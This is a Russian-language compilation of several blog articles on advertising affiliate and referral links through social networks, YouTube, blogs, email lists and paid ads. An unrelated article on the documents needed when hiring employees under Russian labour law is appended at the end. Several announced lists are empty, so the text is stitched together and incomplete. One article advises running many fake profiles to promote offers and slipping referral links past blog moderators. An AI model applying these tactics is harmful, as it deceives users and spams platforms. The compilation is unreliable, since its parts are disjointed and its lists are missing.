Раз вы читаете эту статью, значит вам уже интересна тема партнерских программ и их продвижения. И скорее всего, у вас возникают некие трудности с их продвижением, потому что в партнерках важен прежде всего трафик, без него никак. Многие новички, которые решили заняться партнерским маркетингом думают, что вот я сейчас возьму свои партнерские ссылки, раскидаю их по своим социальным сетям, по сайтам, по группам, по форумам, на канал и все начнут покупать, а я буду только ловить свои денежки в кошельке. А вот и фиг вам, как говорится. Не всё так просто, как вы думаете. Если бы всё было так просто, все были бы уже миллионерами. Это то же самое, что открыть свой магазин, закупить продукты, нацепить вывеску и сесть за прилавок и ждать…. когда же придут покупатели…?
А теперь, мы с вами поговорим о том, что же делать, чтобы люди покупали именно по вашим ссылкам.
Начнем с того, партнерские продукты продаются только тогда, когда мы не впариваем их, а рекомендуем. Люди не будут просто так покупать какой-либо курс или продукт, пока не прочитают какой-либо положительный отзыв и не удостоверятся, что его можно покупать и он достойный.
Еще самый важный нюанс, партнерские продукты продаются лучше у того, у кого есть «лицо»! Кто вы? Какая у вас фотография в аккаунте в социальных сетях или блоге? Ваше лицо или котик? Люди не будут покупать у котиков. Вообще, я отрицательно отношусь к таким аккаунтам в социальных сетях, где указано не лицо, а какой-нибудь логотип, животное, в общем, всё, что угодно, но только не лицо. Такие аккаунты я перевожу в подписчики, либо блокирую. Мне интересны только интересные люди, с лицом и со статусом. Но здесь не обо мне. А о том, КТО продает, а не ЧТО продает. Вам должны доверять! Это очень важно! Вы сами купите курс для похудения или по созданию сайта у котика?
Как вы думаете, с чего вообще начинается продвижение партнерских программ, да или вообще любого продукта? Внимание! Это целевая аудитория! Допустим, вы продаете курс по похудению, а ваше объявление смотрит дальнобойщик. Ему оно надо худеть? Очень важно продумать КТО является вашей целевой аудиторией, кому вы продаете? Кому может быть интересно похудение в данном случае.
Конечно, же существует очень много способов, с помощью которых можно продвигать и рекламировать партнерскую ссылку. И они делятся на платные и бесплатные. Если вы новичок, то лучше начинать с бесплатных способов, так как вы без опыта можете слить много денег, знаю по себе. Лучше заработать первые деньги на бесплатных способах, а потом, эти заработанные деньги реинвестировать в платные методы.
Самым, пожалуй, популярным способом продвинуть свою партнерскую ссылку, является социальные сети. Это место, где находится огромное количество людей и там можно найти отдельные группы людей, которые интересуются какой-то определенной темой. Например, вы продаете курс по похудению. В социальных сетях есть куча групп по похудению, правильному питанию и т.д. Соответственно, среди них находится ваша целевая аудитория. О том, как зарабатывать в социальных сетях прочитайте в этой статье.
Знаменитый видеохостинг Ютуб является очень классной бесплатной площадкой для рекламы своих партнерских ссылок. Вы можете делать видео обзоры свои продуктов, причем совсем не обязательно показывать своё лицо, если вы пока не хотите этого делать, главное, чтобы обзор был записан вашим голосом, а в описании под видео размещать свои ссылки на партнерские программы.
Подписывайтесь на мой Ютуб канал и там вы найдёте много полезного контента по продвижению партнерских программ и много чего интересного.
Если у вас есть сайт, то это уже огромный плюс, так как сегодня SEO трафик является самым горячим трафиком. Вы можете писать статьи с рекомендациями, размещать рекламные баннеры, создать свою рассылку, рекламировать различные партнерские программы по вашей тематике. Но главное, ваш сайт должен быть более-менее раскрученный, примерно от 1000 посетителей в сутки.
Если вы хотите создать свой личный Блог/сайт и рекламировать там партнерские программы, то рекомендую пройти Бесплатный Курс «Я Блогер«, где вы за 3 дня создадите свой сайт и начнёте на нём зарабатывать.
Это очень интересный сервис. Он позволяет создавать бесплатную тематическую рассылку, на которую могут подписываться другие пользователи сервиса. Также вы можете создать свою тематическую группу и привлекать подписчиков. Сам сервис бесплатно продвигает ваш ресурс, в который пользователи активно вступают. Сервис может вам принести от 100 уникальных посетителей. Поэтому регистрируйтесь и получайте своих первых подписчиков.
На самом деле платных способов продвижения огромное количество. Я не буду писать про все, так как вам они не все нужны именно новичку. Новичкам вообще лучше пока знать всего о некоторых способах. Я расскажу о самых основных и эффективных, где ненужно специальных знаний или умений. Вообще, платный трафик подразумевает повторное вложение средств в рекламу с заработанных денег, то есть реинвестиции. Это не одноразовый способ продвижения. Если вы хотите постоянный поток клиентов, то реклама требуется постоянная!
Итак, какие же способы есть:
Как ни крути, но я считаю, что сайт – это то, что должно быть у каждого интернет-предпринимателя, ведь это лицо автора. Это ваша площадка, которая всегда будет с вами, которая является вашей личной, и никто её у вас не отнимет. На ней вы можете выкладывать всё, что угодно, а также это великолепная возможность рекламы своих продуктов. Это то место, куда люди сами к вам приходят, они вас находят в поисковых системах, а это самый горячий трафик, причем еще и бесплатный.
Если вы пишете классные, интересные статьи, в которых вы указываете ссылки на партнерские программы. Поисковик это оценивает и выводит вас в топ, соответственно, люди уже доверяют таким сайтам. Они обязательно зайдут на ваш сайт, и так как они вам доверяют, обязательно что-то купят или как минимум, подпишутся на вашу рассылку и будут вашим постоянным читателем и пользователем, а это то, что нам нужно.
Это не значит, конечно, что ваш сайт надо обвешивать рекламу, как игрушки на новогоднюю елку, он прежде всего, должен нести пользу, а не рекламу, иначе ваш сайт просто перестанут посещать. Всё нужно делать в меру.
Ходит столько мифов про сайты, что это долго, рутинно, бесполезно и так далее. Да, долго, да, это занимает время, зато что вас ждет в будущем. Люди очень нетерпеливы, они хотят всё и сразу. Но чтобы что-то вырастить, нужно сначала посадить и долго ухаживать… Я не говорю, что это должно быть единственным способом продвижения ваших продуктов. Пока вы занимаетесь сайтом, можно продвигать и другими способами параллельно.
Создать сам сайт на самом деле совсем не сложно, как многие думают. Я в позиции новичка и полного чайника в этом деле, по видеоурокам создала сайт всего за 1 час и начала его раскручивать, причем создала с помощью бесплатно видеокурса, который тоже могу вам посоветовать. Курс можете скачать по ссылке ниже.
Пройти бесплатный курс «Я Блогер» по созданию своего Блога за 3 дня
Пока вы ждете, когда ваш сайт раскрутится и выйдет в ТОП, можно воспользоваться и другими сайтами, схожими по вашей тематике и которые стали довольно популярны в интернете. И как вы думаете на чем они зарабатывают? Правильно! На рекламе.
Вы можете связаться с автором сайта, и договориться с ним о рекламе вашего продукта в статье. Причем реклама будет идти не от вашего лица, а от лица владельца сайта. Главное, чтобы это был не просто сайт, а полноценный блог, который пишется от конкретного лица. Вы можете заказать баннер на этом сайте, где он будет виден на главной странице, правда, это уже будет стоить дороже. Обычно прайс лист с рекламой авторы размещают на главной странице своего блога.
E-mail рассылка сегодня является самым мощным инструментом для продаж, хотя многие сейчас пытаются доказать, что это уже не работает. Но практика показывает обратное. Самой эффективной и недорогой, на мой взгляд, является рассылка по чужим базам. Это недорогая реклама, с помощью которой вы гарантированно получаете результат. Хочу посоветовать вам сервис BazaarEmail, который я сама использую давно. Это тот, сервис, где создают договор между собой — автор и рекламодатель. Если у вас пока нет своей базы – это отличный вариант для вас, чтобы получить первых подписчиков и клиентов. Вы создаете свое продающее письмо со своей партнерской ссылкой внутри и договариваетесь с автором прорекламировать это письмо в его базе.
Если вы не знаете, как пользоваться сервисом BazaarEmail, то пошаговую инструкцию по созданию рекламного объявления в этом сервисе вы можете посмотреть в этой статье.
Есть ещё один похожий сервис (биржа) авторов рассылок, где вы можете заказывать недорого рекламу в рассылках. Это сервис Infooz. Принцип работы этого сервиса очень схож с предыдущим сервисом BazaarEmail.
Этот вид рекламы и продвижения партнерских программ я освоила недавно и он мне очень понравился тем, что с баннерной рекламы пришло ко мне хорошее количество подписчиков и продаж. Для баннерной рекламы я использую сервис Hunterlead.
А теперь я вам расскажу, что же нужно сделать прежде, чем вы начнете рекламировать партнерские программы. Это очень важный момент, который требует соблюдать и делать постоянно. Именно от него зависит сколько и как скоро вы будете зарабатывать на партнерских программах.
UTM метки – это специальная переменная, которая вставляется в саму вашу партнерскую ссылку и позволяет отслеживать из какого источника у вас идет больше всего трафика. То есть, вы просто берете свою ссылку, заходите в любой генератор меток, например, www.utmurl.ru, вставляете туда свою ссылку, указываете нужные параметры и после этого копируете готовую ссылку для продвижения в нужный источник.
Например, вы хотите одну и ту же ссылку использовать в разных источниках для рекламы. Для этого, вы берете ссылку и для каждого источника составляете свою ссылку. Если вы хотите рекламировать ссылку вконтакте, то указываете в поле «источник компании» переменную «vk». После изменения ссылки с помощью сервиса, вы можете анализировать, сколько трафика пришло именно с вконтакте.
И так проделываете с каждым источником. В чем преимущество UTM меток – в том, что вы можете отследить, в каком источнике у вас лучше идет реклама, где больше кликов и продаж. Если у вас лучше идет продвижение вконтакте, значит вы можете делать упор именно на этот источник и усиливать её, тем самым увеличивая продажи и свою прибыль.
Сами реферальные ссылки бывают очень длинными и запутанными, поэтому люди не очень им доверяют. Вообще, люди не любят кликать по длинным ссылкам, да и сама длинная ссылка выглядит не очень красиво. Весь смысл сокращения ссылки в том, чтобы просто заменить длинную последовательность символов на более короткую.
В тем более, сейчас это не просто желательно, а необходимо, потому что каждая социальная сеть или сайт запрещает публиковать длинные ссылки и предлагает свой онлайн сервис для сокращения ссылок. Какие же я есть самые основные сервисы для сокращения ссылок, которыми я пользуюсь постоянно:
Это онлайн сервис от Вконтакте, который предлагает свой сервис сокращения ссылок. Сам процесс очень простой: в пустое поле вставляете свою партнерскую ссылку и нажимаете на соответствующую кнопку рядом и появляется готовая ссылка, которую вам просто остается скопировать. Перейти в сервис
Данный сервис я использую для сокращения ссылок в Одноклассниках, так как в одноклассниках не пойдут ссылки, сокращенные через онлайн сервис Вконтакте. Перейти в сервис
Этот сервис позволяет сокращать ссылки для всех остальных социальных сетей и сайтов. Перейти в сервис
Если вы готовите какой-то рекламный текст для продвижения ссылки, то обязательно в тексте ваши ссылки должны повторятся до 3-х раз. Повторение идет в начале абзаца, в середине текста и, соответственно, в конце текста после призыва к действию. То есть человек должен видеть не одну ссылку, а несколько, чтобы было больше возможности нажатия на ссылку.
Если вы пока не владеете способностями писать цепляющие тексты и не хотите за это платить, то лучше подсмотреть у какого-нибудь инфобизнесмена, на которого вы подписаны или которого часто читаете или наблюдаете, какие тексты пишет он и немного перефразировать под себя (НЕ КОПИРОВАТЬ).
В тексте желательно использовать элементы выделения или смайлики, чтобы текст не выглядел серым и незаметным. Обязательно делим текст на абзацы, чтобы он не был длинным полотном. Если же вы хотите сразу написать хороший рекламный текст с помощью специалиста, то советую вам воспользоваться сервисом work—zilla.com (быстро и недорого).
Чтобы ваш текст зацепил, нужно целиться в боль клиента. Вы должны указать все преимущества, выгоду, которую он получит. Сделайте так, чтобы текст было интересно читать. Для этого нужно внимательно изучить партнерский продукт, узнать все его плюсы и минусы, почитать отзывы.
Обязательно тестируйте свои рекламные тексты, рекламные компании, так как не сразу мы можем попасть точно в цель со своим предложением. Меняйте размер текста, пробуйте разные картинки или фото, меняйте слова и предложения, ведь вам нужно выбрать тот идеальный текст, который у вас будет выстреливать везде!
На этом сегодня я буду заканчивать свою статью. Надеюсь, она была для вас полезной и интересной. Главное — не просто читайте, а применяйте эти знания на практике и у вас всё получится! Если у вас возникли какие-то вопросы, обязательно задавайте их ниже в комментариях.
На этом всё, разрешите раскланяться. Обязательно подписывайтесь на новости моего Блога здесь, чтобы не пропускать мои новые полезные статьи на моём Блоге.
P.S. НЕ ЗАБУДЬТЕ скачать мою бесплатную pdf инструкцию 5 шагов до первых денег на партнерках, где я рассказываю о своём опыте заработка на партнерских программах и делюсь очень важными фишками. Благодаря подробной пошаговой инструкции вы сможете заработать свои первые деньги на партнерках и превратить это в прибыльный инфобизнес.
Благодарю вас за внимание!
Я вам желаю удачи и до встречи с вами в следующих моих статьях!
С любовью, Вера Ангел
verangel.ru
Где рекламировать партнерские ссылки? Услышав, что через интернет можно ещё и зарабатывать! Человек начинает бороздить тематические сайты и форумы в поисках способов заработка.
Между делом он нарывается на лохотроны, где теряет свои деньги, скупает курсы по совету неизвестных блогеров, большинство из которых на деле оказываются пустышками или вовсе, содержат мошеннические схемы.
В результате, потратив кучу времени, желающий заработать, в конце концов, понимает, что нормальные деньги крутятся вокруг партнерских программ. Это могут быть, как физические либо информационные товары (инфопродукты), так и разного рода услуги.
Итак, новичок регистрируется в понравившейся партнерской программе. Далее, генерирует ссылку (как его учили) или берет уже готовую, и начинает её продвигать.
Но, в основном, все максимальные усилия сводятся к минимальному результату. На деле оказывается, что продвигать партнерскую ссылку не так-то просто, а порой безуспешно.
Как правило, неподготовленный пользователь пытается продвинуть ссылку на своих страницах в социальных сетях, занимается запрещенным спамом через группы с открытыми стенами Вконтакте. А также оставляет комментарии под видео (хорошо, если со схожей с партнеркой тематикой) в Ютуб или на сайтах, форумах.
Естественно, таким образом заработать не получается, а если и будет хоть одна продажа, то считайте вам крупно повезло.
Так, как и где рекламировать партнерские ссылки?
Итак, прежде всего, вы должны определиться с тематикой партнерок, которая даст вам понимание, кто является потенциальным покупателем, то есть целевой аудиторией.
Следует также учитывать, что, например, площадки для рекламирования физических товаров (офферов) могут в корне не подойти для продвижения услуг или инфопродуктов, и наоборот.
На основе этих факторов и надо выбирать источники трафика. Это могут быть (мы перечислим 12 способов):
Мы перечислили почти все возможные источники трафика, с помощью которых вы можете рекламировать свои партнерские ссылки.
Предупреждаем также, что за рекламу на буксах вроде Wmmail, SEO sprint и им подобным, вы можете с лёгкостью получить бан. Уже ни для кого не секрет, что продвигаться там бесполезно, потому что «среда обитания» в основном – школьники. Они кликают по рекламе за копейки.
Поэтому глупо надеется, что они заинтересуются вашим предложением. Более того, вы только подпортите конверсию продающего сайта/лендинга.
Единственное, буксы могут подойти для привлечение рефералов в какой-нибудь проект для заработка грошей, где, скорее всего, вы будете иметь мизерную долю от этих копеечек.
Пожалуй, на этом закончим сегодняшнюю статью.
Напоминаем, что проверенные способы заработка размещены в нашей рубрике «100% работают». Здесь вы найдете способы, проверенные нами лично. Они непременно принесут вам доход.
Всем желаем успехов!
kurs-otzyvy.ru
Здравствуйте, дорогие читатели блога. Поговорим о партнерском трафике, о рекламе партнерских ссылок. Когда вы хотите зарабатывать в cpa партнерках, нужно понимать, что трафик (посетители на продающий сайт) и лиды (продажи) не появятся сами собой.
Целевой трафик на лендинги необходимо привлекать.
Рекламировать партнерские ссылки можете платными и бесплатными способами.
Если реклама ведется через рекламные сервисы, ее эффективность выше, доход получите быстрее. Но есть опасность израсходовать, слить свой рекламный бюджет из-за неопытности в привлечении посетителей на лендинг или прокладку, предоставленную ПП.
Работать с бесплатными источниками трафика затратно по времени, выхлоп от этих действий небольшой.
Термин происходит от английского слова Traffic, переводится как дорожное движение. Соответственно, трафик на сайт — это число посетителей, пользователей (хостов), пришедших на этот веб-ресурс за день.
Они пользуются мобильными устройствами, компьютерами, ноутбуками. Поэтому трафик делится на мобильный и декстопный. Странички сайта надо делать удобными для приема любого вида трафика.
Как и где рекламировать партнерские ссылки, чтобы получить посетителей бесплатно?
СТАТЬИ ПО ТЕМЕ:
Прелендинг, сайт-прокладка. Правда о транзитных страницах
CPA сети, что это такое: заработок через cpa партнерки
Как заработать на бирже рекламы Sociate.ru
При отсутствии бюджета на продвижение используйте любые способы. Ниже даны источники. Работая с ними вы платите своим временем, а деньги не тратите.
Вы можете рекламировать товары, офферы, размещая ссылки непосредственно в статьях, в сайдбаре. Поисковый, органический трафик можно назвать условно бесплатным, поскольку немало сил, времени и денег уходит на раскрутку сайта и получение посетителей именно из поиска. Потоку трафика на сайт из поисковой выдачи предшествует большая работа по сео.
Ссылки на товары можно размещать в рекламных постах, которые чередуются с информационными и развлекательными.
Привлекайте посетителей на страницу бесплатно, комментируя посты на страницах других пользователей из вашей целевой аудитории, в тематических группах и сообществах.
Ставьте лайки на фотографии, посты других пользователей. Многие из них перейдут на вашу страничку, чтобы посмотреть, кому это понравился пост.
На своей страничке не забудьте закрепить запись со ссылкой на рекламируемый товар. Также рекламу можно разместить и в СТАТУСЕ.
Если хотите таким способом привлекать покупателей на несколько офферов, страничек (фейков) должно быть тоже много.
Нужно понимать, что не каждый пользователь будет переходить и смотреть, кто это лайкнул его фотку. Это будут единицы. Бесплатный трафик из соц сетей будет достаточно маленьким. Продаж таким способом много не сделаешь, а времени затратишь уйму.
Используйте видеомаркетинг. Отдельным людям удобнее смотреть видео, чем перечитывать тексты. Для них видеохостинги заменяют функционал поисковых систем.
Создавайте вирусные видео, размещайте их на своем канале. Так вы привлечете на канал множество посетителей. Рекламируйте партнерские ссылки в описании видеоролика. Чем больше просмотров, тем больше вероятность, что кто-то кликнет на гиперссылку и перейдет на прокладку или лендинг.
Метод опять-таки условно бесплатный. Надо уметь создавать вирусные видео либо слайд-шоу, правильно их оптимизировать и раскручивать, чтобы получать аудиторию на продающий сайт.
Способ очень затратный по времени.
Вариантов, как получить трафик, два:
Партнерские ссылки размещают в комментариях, но не напрямую, иначе их удалит владелец блога. Рефссылку размещайте в поле сайт при заполнении формы комментария.
Нужно очень красиво комментировать, чтобы пользователи захотели посмотреть, кто это такой умный. Чтобы они перешли по естественной ссылке, попали на продающий сайт, а вы получили много бесплатного целевого трафика.
Сообщения в группах модерируются, поэтому партнерские ссылки на лендинги модераторы обычно не пропускают. Но большинство прокладок, которые генерируются партнерскими программами выполнены в виде странички блога.
Вот на них-то и направляйте бесплатный трафик из Субскрайба.
Как видите, источников бесплатного трафика на офферы много. Другой вопрос – эффективны ли они?
Воспользуйтесь возможностью, научитесь привлекать целевую аудиторию, чтобы рекламировать свои партнерские ссылки более продуктивно.
moi-start.ru
Многие новички в сфере интернет-рекламы считают, что заработать неплохие деньги на партнерской программе довольно просто. Действительно на первый взгляд такая работа не предполагает ничего сложного, однако, для того чтобы заработать реальные деньги нужно работать весьма эффективно. К примеру, нужно постоянно рекламировать партнерские ссылки.
Эффективно рекламировать партнерские ссылки можно путем привлечения по ним качественного, целевого трафика. В свою очередь, определить качественный трафик или нет довольно просто, ведь этот показатель напрямую зависит от источника, из которого он исходит.
К источникам качественного трафика относятся:
В то же время главное условие, от которого зависит, будет ли трафик целевым – соответствие трафика тематике партнерской программы.
Что же касается источников некачественного трафика, то к ним относятся:
Проще говоря, качественный трафик подразумевает привидение целевой, заинтересованной аудитории, а не качественный – сторонних пользователей. Эффективная реклама партнерской ссылки как раз и подразумевает привлечение качественного, целевого трафика.
Самый главный бесплатный источник целевого трафика для владельцев интернет ресурсов – поисковая оптимизация сайта.
К альтернативным источникам целевого трафика относятся:
Но при публикации статей на других сайтах стоит обязательно учитывать, что тематика стороннего ресурса должна соответствовать направленности партнерской программы.
У использования бесплатного трафика для рекламы есть значительный плюс. Он заключается в длительном притоке посетителей. Что же касается минусов такого трафика, то к ним относятся большие временные затраты для его обеспечения.
Главный источник платного целевого трафика представляет собой система контекстной рекламы. Кроме того, в роли источников такого трафика выступают:
К плюсам рекламы с платным трафиком относится быстрое привлечение пользователей по ссылке, а к минусам довольно высокий уровень денежных затрат необходимый для того, чтобы рекламировать одну партнерскую ссылку.
Для того чтобы зарабатывать на партнерских программах неплохие деньги нужно правильно использовать системы контекстной рекламы и налаживать контакты с владельцами различных тематических сайтов, рассылок, форумов для того, чтобы иметь возможность договариваться о размещении своих статей со ссылками.
Кроме того, если работать с партнерскими программами, которые подразумевают оплату за клики необходимо быть готовым отстаивать качество трафика. Ведь очень часто в таких программах рекламодатели прибегают к процедуре оспаривания качества трафика, вследствие чего вебмастер может лишиться реального заработка.
Для того чтобы избежать возникновения таких ситуаций нужно внимательно изучать условия партнерского соглашения и использовать только разрешенные источники трафика.
Эффективно разрекламировать свою партнерскую ссылку не так просто как кажется на первый взгляд. Реально заработать на партнерской программе позволяет исключительно направленный, целевой трафик. Одни из лучших источников такого трафика – системы контекстной рекламы.
Эти системы, при правильном их использовании позволяют довольно быстро привлечь целевую аудиторию для перехода по партнерской ссылке.
Главный недостаток такого способа рекламы заключается в его дороговизне. Поэтому, перед тем как принять решение о том как привлекать пользователей на ресурс нужно тщательно взвесить все плюсы и минусы.
Андрей Меркулов
Инвестор, учредитель проекта Территория Инвестирования
Владелец ряда активов — доходный дом, доходные квартиры, доходные сайты
Предприниматель, эксперт по трафику, тиражированию бизнеса и бизнес системам
lifeha.ru
Здравствуйте всем, кто пытается заработать на партнёрских программах и потому интересуется, где размещать партнёрские ссылки бесплатно. Здравствуйте и тем, кто заглянул на огонёк случайно и читает статью для общего развития. Специально для вас вкратце расскажу, что такое партнёрская программа. Это одна из наиболее перспективных возможностей заработать неплохие деньги на просторах Всемирной паутины. Суть заключается в следующем. Есть компания, которой требуется продать свои продукты и есть обычные пользователи интернета, желающие заработать. Они, взаимодействуя, помогают друг другу добиться желаемого. Пользователь регистрируется в партнёрской программе, в личном кабинете генерирует ссылку, размещает её на собственных или прочих ресурсах в сети и за переходы по ним других пользователей, а также за совершённые ими покупки, получает вознаграждение, которое может быть фиксированным или варьироваться в процентном соотношении от суммы совершённой сделки. В сегодняшнем материале я отвечаю на вопрос моих особо заинтересованных подписчиков о том, где именно в интернете можно разместить свою партнёрскую ссылку свободно, бесплатно и желательно без регистрации.
Пробежимся вкратце по понятиям, с которыми вам определённо придётся столкнуться в процессе заработка на партнёрках:
А теперь переходим к самому интересному. Не стоит думать, что продвигать чьи-то продукты легко. Нет, придётся потрудиться и немало, чтобы данная деятельность начала приносить стабильный доход. В интернете «пасутся» целые армии пользователей, посещающие миллионы сайтов, поэтому онлайн-реклама является наиболее эффективной, но бесплатно разместить свою реферальную ссылку можно далеко не везде, где именно – сейчас поведаю:
Друзья, если вы действительно хотите зарабатывать на партнёрских программах, то обратите внимание на следующие моменты:
Итак, на сегодня всё. Добавлю только, что продвигать партнёрку бесплатными методами довольно сложно. Есть множество эффективных платных способов, но о них в следующий раз. До свидания.
blogfreo.ru
В прошлый раз мы рассмотрели виды партнерских программ и критерии их выбора. Теперь нам нужно определиться с тем, каким образом можно рекламировать свои партнерские ссылки.
Некоторые читатели могут удивиться тому, что для рекламы партнерских ссылок не требуется иметь собственный сайт. Скажу больше – многие профессионалы, зарабатывающие на партнерках большие деньги, вообще не имеют собственных сайтов! Каким же способом можно рекламировать партнерки? И можно ли это делать бесплатно?
Способ 1. Социальные сети. Это, пожалуй, самый простой и дешевый способ рекламы партнерской ссылки. Сейчас практически у любого человека имеется собственная страничка в соцсети. Именно с этой страницы и можно начинать рекламу товара, а точнее партнерской ссылки на страницу покупки данного товара. Наверняка у вас есть не одна сотня друзей и подписчиков, которые могут стать первыми покупателями. Еще можно создать под товар тематическое сообщество. Чтобы привлечь новых участников, рекомендуется публиковать в своем паблике интересный материал. Число подписчиков и продажи будут расти. При наличии свободных средств, их можно вложить в рекламу и сразу получить первые продажи. Для этой цели рекомендуется использовать такие инструменты, как «реклама в сообществах» и «таргетинг».
Способ 2. Гостевые комментарии. Этот способ подразумевается размещение тематического материала, содержащего партнерскую ссылку, в чужом блоге или сообществе. Публикуемый материал должен максимально соответствовать теме паблика и выглядеть максимально естественно. Многие блоггеры без проблем «пропускают» подобный материал, потому что он привлекает дополнительный трафик.
Способ 3. Комментарии на форумах. Разумеется, оставлять спам на страницах форумов не следует. Это приведет к быстрой блокировке вашего аккаунта. Чтобы эффективно использовать это источник, требуется быть аккуратным и внимательно изучить раздел, в которым вы собираетесь разместить рекламный материал. Будет хорошо, если вас на этом форуме знают и в вашем активе есть несколько сотен постов. Чем больше рейтинг вашего профиля, тем больше доверия к вашим комментариям.
Способ 4. Контекстная реклама. Прежде чем использовать данный способ, нужно внимательно прочитать правила системы. Дело в том, что некоторые системы контекстной рекламы могут потребовать от вас предъявить сертификат на товар или попросят доказать ваше авторское право. Также правила не всегда разрешают рекламировать прямую партнерскую ссылку. Но это не страшно, потому что можно создать одностраничный сайт, который будет содержать ссылку и подробное описание товара. Если вы правильно настроите рекламное объявление, то за кожного посетителя вы будете платить не более 10 центов.
Еще по теме:
Нет комментариев — ваш будет первым.
rub21.ru
После того как вы зарегистрировались в партнерской программе и получили рекламные материалы. Возникает вопрос. Как рекламировать партнерскую ссылку? Ведь для того чтобы люди узнали о вашем предложении и купили продукт, о нем нужно рассказать. А как это сделать правильно? Если вы повесите объявление на столбе в своем городе, то вряд ли кто-то откликнется на это предложение или дадите его в местной газете, может и найдутся желающие, но вероятность того, что они приобретут товар очень низкая.
Раз вы продаете продукты, через интернет, то и покупателей нужно искать в интернете. И рекламировать партнерскую ссылку на сайтах. Люди приходят в интернет за информацией для решения своих проблем. И вы должны им предложить это решение в виде продаваемого информационного продукта. Проще говоря, нужно предлагать информацию по садоводству, тем людям, которые интересуются выращиванием огурцов, помидор и т. д. То есть вы должны размещать свою рекламу на таких интернет площадках , откуда по ней будет идти целевой трафик. Для того, чтобы люди, преходящие по рекламируемой партнерской ссылке, покупали предлагаемые товары они должны быть целевым посетителям.
Например: Человек хочет научиться вязать, ему это интересно, если к нему прийти и сказать: » Знаешь, я знаю место, где много информации о том, как научиться вязать. Тебе это интересно? » Конечно — ему интересно, это — его цель. Такой человек и будет целевым посетителем.
Или представите ситуацию в саду человек, копается в земле, что-то сажает. А Вы к нему подходите и говорите: «Ты заешь есть классный обучающий курс по вязанию. Вот держи ссылку». А он на Вас посмотрит и скажет: «А нафига мне это надо. Ты дай мне информацию как сажать клубнику и т. д.»
А суть всего вышесказанного такова: Вы хоть тысячу садоводов пригласите на сайт все равно ни кто у вас, ни чего не купит, хотя кликов и переходов будут сотни. А это значит, что рекламировать партнерскую ссылку, нужно там, где люди заинтересуются вашим предложением.
Приведу еще пример: Вы размещаете объявление по продаже продуктов «о рыбалке и охоте» на блоге по кулинарии. Человек пришел получить информацию о кулинарии, рецептах приготовления блюд, обратит он внимание на рекламный блок о рыбалке и сделает переход. Конечно же нет ! Или вы разместите, предложение продукта об инвестициях, на форуме по цветоводству. Люди приходят на форум поговорить о цветах, о способах выращивания, удобрения и т. д. Зачем им инвестиции? И естественно с этого форума переходов(трафика) не будет и соответственно покупателей. Из чего следует, что предлагаемые товары необходимо рекламировать на ресурсах по нужной вам тематике.
Для тех, кто хочет научиться зарабатывать в интернете, независимо от направления деятельности. Эту формулу нужно усвоить обязательно. Потому что именно от количества целевых посетителей зависит количество продаж. Как правильно рекламировать продаваемый товар мы разобрались, но в след за вопросом -Как? Возникает законный — Где?
Конечно если у вас есть собственный сайт(блог), то вы регистрируетесь в партнерских программах по тематике вашего сайта, размещаете на нем рекламные материалы и зарабатываете. Но как быть, если у вас его нет? Есть способы рекламы без собственного сайта. Их условно можно разделить на бесплатные и платные. Но самое главное — это творческий подход к продвижению товаров. Экспериментируйте, придумываете новые способы. И успех не заставит себя ждать.
owlweb.ru
По правилам приема на работу работников соискателю необходимо собрать определенный пакет документов. Некоторые из них являются обязательными и будут требоваться в любой компании. Другие предоставлять в целом не обязательно, но в конкретной организации могут потребовать их предоставить, в зависимости от рода деятельности.
Статьей 65 Трудового Кодекса Российской Федерации установлен перечень документов, которые могут запросить при приеме на работу.
1. Паспорт или иной документ для удостоверения личности соискателя.
2. Трудовая книжка. Не требуется предъявлять в следующих случаях:
После расторжения трудовых отношений осуществляется выдача трудовой книжки работнику.
3. Страховое свидетельство государственного пенсионного страхования (СНИЛС). Если соискатель получает работу впервые, то СНИЛС оформляется работодателем.
4. Военный билет или иной документ воинского учета (например, приписное свидетельство). Обязательно для военнообязанных и лиц, подлежащих призыву на военную службу.
Учитесь и желаете устроиться на работу? Узнайте, как оплачивается учебный отпуск.
Особенности внесения записей в трудовую книжку сотрудника.
5. Документ об образовании (диплом, возможно, потребуется оценочный лист). Требуется для подтверждения квалификации соискателя и наличия у него образования соответствующего должности, на которую он претендует.
Для некоторых профессий, таких как машинист автокрана, стропальщик, машинист экскаватор и т.п., также необходимо наличие удостоверения о прохождения обучения соответствующей профессии, подтверждающее его квалификацию. Такие работники должны ежегодно проходить переаттестацию (чаще всего в той организации-работодателе), о чем в удостоверении ставится соответствующая отметка.
Для водителей (равно как и для машинистов автокранов и экскаваторов) требуется наличие водительского удостоверения на право управления тем видом транспорта, на котором он будет работать.
6. Справка о наличии либо отсутствии судимости. Требуется при поступлении на работу, на которую, в соответствии с законодательством Российской Федерации, не допускаются лица, имеющие судимость или подвергающиеся уголовному преследованию.
7. Медицинская справка по форме 086/у. Некоторые виды деятельности могут быть связаны с повышенной опасностью для здоровья человека (например, прием на работу медицинских сотрудников). В таких случаях и требуется медсправка, в которой указано наличие или отсутствие противопоказаний к осуществлению какой-либо деятельности. Также медицинская справка обязательна для несовершеннолетних, т.к. при наличии каких-либо проблем со здоровьем врач может запретить подростку заниматься определенным видом работы (например, при проблемах со зрением не допускается работа с компьютером). При приеме на работу в условиях Крайнего Севера из других регионов необходимо заключение об отсутствии противопоказаний для работы и жизни в данных условиях
Обязательным для получения работы (даже в случае приема на работу временного работника) является только наличие паспорта, поэтому прием на работу без паспорта не допускается. Все остальные документы требуется предоставлять только при наличии определенных условий.
Несмотря на то что в законе прямо запрещается требовать с претендента дополнительные документы, не предусмотренные законодательством, алгоритм приема на работу сотрудника вполне может предусматривать наличие следующих документов:
1. Заявление о приеме на работу. Пишется работником в процессе оформления на работу. Подшивается к личному делу сотрудника, которое заводится работодателем.
2. Фотография 3х4 (3 шт.). Фотографии требуются для личного дела работника, оформления пропуска. Также могут потребоваться для подшивания к личной карточке работника по форме Т-2.
3. Свидетельство о постановке на учет в налоговом органе (ИНН).
4. Справка о доходах по форме 2-НДФЛ. Такая справка предоставляется в случае, если кандидат меняет место работы. Для него выгодно ее представить, т.к. в случае расчета по больничному листу будет учитываться заработок на предыдущем месте работы. Следовательно, сумма выплат по больничному может быть повышена в случае, если стаж работника на новом месте минимален.
Как осуществляется прием на работу на испытательный срок?
Способы расчета отпуска в различных ситуациях.
Узнать о деятельности компании по ИНН: http://svoy-business.com/organizatsiya-biznesa/dokumentatsiya/kak-proverit-ip-po-inn.html
5. Характеристика с предыдущего места работы. Для соискателя лучше иметь такую характеристику при себе, т.к. это повышает его шансы получить работу и добиться более выгодных условий.
